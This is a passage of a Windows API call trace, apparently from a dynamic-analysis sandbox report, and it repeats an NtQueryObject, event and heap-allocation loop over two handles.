ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.404] ResetEvent (hEvent=0xe8) returned 1 [0149.404] SetEvent (hEvent=0xec) returned 1 [0149.404] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.404] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.404] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.404] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.405] ResetEvent (hEvent=0xe8) returned 1 [0149.405] SetEvent (hEvent=0xec) returned 1 [0149.405] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.405] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.405] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.405] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.405] ResetEvent (hEvent=0xe8) returned 1 [0149.405] SetEvent (hEvent=0xec) returned 1 [0149.405] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.405] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.405] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.405] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.405] ResetEvent (hEvent=0xe8) returned 1 [0149.405] SetEvent (hEvent=0xec) returned 1 [0149.405] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.405] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.405] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.405] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.405] ResetEvent (hEvent=0xe8) returned 1 [0149.405] SetEvent (hEvent=0xec) returned 1 [0149.406] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.406] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.406] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.406] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.406] ResetEvent (hEvent=0xe8) returned 1 [0149.406] SetEvent (hEvent=0xec) returned 1 [0149.406] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.406] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.406] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.406] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.406] ResetEvent (hEvent=0xe8) returned 1 [0149.406] SetEvent (hEvent=0xec) returned 1 [0149.406] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.406] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.406] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.406] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.406] ResetEvent (hEvent=0xe8) returned 1 [0149.406] SetEvent (hEvent=0xec) returned 1 [0149.406] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.406] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.407] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.407] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.407] ResetEvent (hEvent=0xe8) returned 1 [0149.407] SetEvent (hEvent=0xec) returned 1 [0149.407] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.407] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.407] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.407] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.407] ResetEvent (hEvent=0xe8) returned 1 [0149.407] SetEvent (hEvent=0xec) returned 1 [0149.407] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.407] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.407] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.407] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.407] ResetEvent (hEvent=0xe8) returned 1 [0149.407] SetEvent (hEvent=0xec) returned 1 [0149.407] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.407] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.407] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.408] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.408] ResetEvent (hEvent=0xe8) returned 1 [0149.408] SetEvent (hEvent=0xec) returned 1 [0149.408] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.408] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.408] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.408] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.408] ResetEvent (hEvent=0xe8) returned 1 [0149.408] SetEvent (hEvent=0xec) returned 1 [0149.408] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.408] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.408] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.408] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.408] ResetEvent (hEvent=0xe8) returned 1 [0149.408] SetEvent (hEvent=0xec) returned 1 [0149.408] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.408] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.409] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.409] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.409] ResetEvent (hEvent=0xe8) returned 1 [0149.409] SetEvent (hEvent=0xec) returned 1 [0149.409] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.409] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.409] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.409] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.409] ResetEvent (hEvent=0xe8) returned 1 [0149.409] SetEvent (hEvent=0xec) returned 1 [0149.409] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.409] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.409] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.409] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.409] ResetEvent (hEvent=0xe8) returned 1 [0149.409] SetEvent (hEvent=0xec) returned 1 [0149.409] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.409] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.409] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.409] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.410] ResetEvent (hEvent=0xe8) returned 1 [0149.410] SetEvent (hEvent=0xec) returned 1 [0149.410] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.410] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.410] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.410] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.410] ResetEvent (hEvent=0xe8) returned 1 [0149.410] SetEvent (hEvent=0xec) returned 1 [0149.410] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.410] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.410] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.410] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.410] ResetEvent (hEvent=0xe8) returned 1 [0149.410] SetEvent (hEvent=0xec) returned 1 [0149.410] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.410] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.410] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.410] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.410] ResetEvent (hEvent=0xe8) returned 1 [0149.410] SetEvent (hEvent=0xec) returned 1 [0149.411] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.411] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.411] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.411] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.411] ResetEvent (hEvent=0xe8) returned 1 [0149.411] SetEvent (hEvent=0xec) returned 1 [0149.411] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.411] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.411] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.411] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.411] ResetEvent (hEvent=0xe8) returned 1 [0149.411] SetEvent (hEvent=0xec) returned 1 [0149.411] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.411] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.411] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.411] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.411] ResetEvent (hEvent=0xe8) returned 1 [0149.411] SetEvent (hEvent=0xec) returned 1 [0149.412] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.412] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.412] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.412] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.412] ResetEvent (hEvent=0xe8) returned 1 [0149.412] SetEvent (hEvent=0xec) returned 1 [0149.412] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.412] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.412] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.412] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.412] ResetEvent (hEvent=0xe8) returned 1 [0149.412] SetEvent (hEvent=0xec) returned 1 [0149.412] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.412] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.412] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.412] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.412] ResetEvent (hEvent=0xe8) returned 1 [0149.412] SetEvent (hEvent=0xec) returned 1 [0149.412] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.413] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.413] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.413] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.413] ResetEvent (hEvent=0xe8) returned 1 [0149.413] SetEvent (hEvent=0xec) returned 1 [0149.413] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.413] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.413] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.413] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.413] ResetEvent (hEvent=0xe8) returned 1 [0149.413] SetEvent (hEvent=0xec) returned 1 [0149.413] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.413] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.413] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.413] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.413] ResetEvent (hEvent=0xe8) returned 1 [0149.413] SetEvent (hEvent=0xec) returned 1 [0149.414] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.414] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.414] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.414] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.414] ResetEvent (hEvent=0xe8) returned 1 [0149.414] SetEvent (hEvent=0xec) returned 1 [0149.414] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.414] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.414] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.414] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.414] ResetEvent (hEvent=0xe8) returned 1 [0149.414] SetEvent (hEvent=0xec) returned 1 [0149.414] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.414] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.414] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.414] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.414] ResetEvent (hEvent=0xe8) returned 1 [0149.414] SetEvent (hEvent=0xec) returned 1 [0149.414] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.415] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.415] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.415] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.415] ResetEvent (hEvent=0xe8) returned 1 [0149.415] SetEvent (hEvent=0xec) returned 1 [0149.415] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.415] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.415] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.415] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.415] ResetEvent (hEvent=0xe8) returned 1 [0149.415] SetEvent (hEvent=0xec) returned 1 [0149.415] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.415] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.415] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.415] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.415] ResetEvent (hEvent=0xe8) returned 1 [0149.415] SetEvent (hEvent=0xec) returned 1 [0149.415] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.415] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.415] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.416] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.416] ResetEvent (hEvent=0xe8) returned 1 [0149.416] SetEvent (hEvent=0xec) returned 1 [0149.416] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.416] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.416] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.416] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.416] ResetEvent (hEvent=0xe8) returned 1 [0149.416] SetEvent (hEvent=0xec) returned 1 [0149.416] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.416] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.416] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.416] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.416] ResetEvent (hEvent=0xe8) returned 1 [0149.416] SetEvent (hEvent=0xec) returned 1 [0149.416] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.416] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.416] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.416] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.416] ResetEvent (hEvent=0xe8) returned 1 [0149.417] SetEvent (hEvent=0xec) returned 1 [0149.417] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.417] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.417] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.417] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.417] ResetEvent (hEvent=0xe8) returned 1 [0149.417] SetEvent (hEvent=0xec) returned 1 [0149.417] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.417] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.417] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.417] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 